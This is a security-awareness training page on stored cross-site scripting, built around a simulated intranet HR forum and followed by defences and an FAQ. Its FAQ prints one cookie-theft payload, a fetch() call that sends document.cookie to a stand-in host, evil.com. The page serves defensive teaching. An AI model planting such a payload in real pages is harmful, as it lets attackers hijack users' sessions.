XSS · Cross-Site Scripting

One comment. One compromised account.

A script hidden in an internal forum is enough to steal a manager's session. No suspicious click. No download. No alert. The browser runs the code the moment the page opens.

  • ≈ 4 min
  • Technical teams
  • Stored XSS
  • Cookie theft
  • Session hijacking
  • OWASP A03

Step-by-step simulation

Follow the attack step by step

intranet.monentreprise.com/forum/equipe-rh
HR Forum
Intranet - HR Team Forum
SL
Sophie Laurent - HR Manager
MC

Marc Charpentier

2h ago · HR Generalist

Great meeting this morning! The new onboarding process is really well thought out.

NB

Nadia Bertin

1h ago · Payroll Manager

Agreed with Marc. The checklist shared yesterday is very useful for new hires.

?

Unknown account

5 min ago · External access

External access

Great article! Very useful for the team.

Step 1 of 4

An internal forum open to everyone

Every comment is stored and then shown to all team members

The vector: any free-text input field

Forums, comment sections, search fields, contact forms. Anywhere a user can write text that's later shown to others, an XSS flaw can exist if the data isn't handled properly.

Key figures

A quiet flaw with massive effects

OWASP Top 10

#0

Injection (incl. XSS)
Clicks required

0

for Stored XSS
Potential victims

∞

per stored comment
The Samy worm on MySpace

2005

first mass XSS: over a million profiles hit in under 20 hours

Concrete impact for your organization

A stolen session grants access to the account with no password, no alert, often without the victim even noticing. A single script injected into an internal tool (intranet, ticketing, chat) is enough to compromise dozens of accounts within hours.

Protection

How to protect yourself

XSS is neutralized in layers: each measure blocks one step of the attack.

  • Encode output

    Escape every displayed value for its context (HTML, attribute, JavaScript). Avoid innerHTML and dangerouslySetInnerHTML.

  • Content Security Policy

    A strict CSP forbids inline scripts and unauthorized domains: the payload never runs.

  • HttpOnly cookies

    HttpOnly, Secure and SameSite session cookies stay out of reach of injected JavaScript.

  • Sanitize rich content

    If users can post HTML, filter it with a proven library such as DOMPurify.

Technical demo

Try it yourself

This simulation lets you inject a real XSS payload and watch its behavior: execution stays confined to this demo page, nothing is sent or stored. Intended for technical teams and trainers.

Interactive demo

Inject an XSS payload

Controlled simulation

No injection simulated

Choose a payload or type your own, then click Simulate

Stored vs Reflected

A stored XSS persists in the database - every visitor becomes a victim. A reflected XSS only exploits the session of whoever clicks a rigged link.

How to protect against it

  • Escape HTML server-side before rendering
  • Strict Content Security Policy (CSP)
  • Cookies marked HttpOnly

Educational simulation: no real data is transmitted. Only reproduce these techniques on systems you are authorized to test.

FAQ

Frequently asked questions

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web vulnerability that lets an attacker inject malicious JavaScript code into a web page viewed by other users. It can steal session cookies, redirect to phishing pages, or log keystrokes.

What's the difference between reflected and stored XSS?

Reflected XSS isn't persistent: the payload lives in the URL and only runs when the victim clicks the rigged link. Stored (persistent) XSS is injected into the database (a comment, a profile) and runs for every visitor who views the infected page.

How do you protect against XSS attacks?

Protections against XSS include: escaping data before rendering it as HTML (htmlspecialchars), using a strict Content Security Policy (CSP), validating input server-side, using frameworks that auto-encode output (React, Angular), and setting the HttpOnly attribute on session cookies.

How does XSS let an attacker steal a session?

Via document.cookie, the injected script can read the session cookie and send it to a server controlled by the attacker: fetch('https://evil.com/?c='+document.cookie). The attacker uses this cookie to impersonate the victim without knowing their password (session hijacking).

Going further

Tools and reading related to this module

Train your teams with an expert

Tailored awareness workshops, attack simulations and training to anchor the right reflexes in your organization.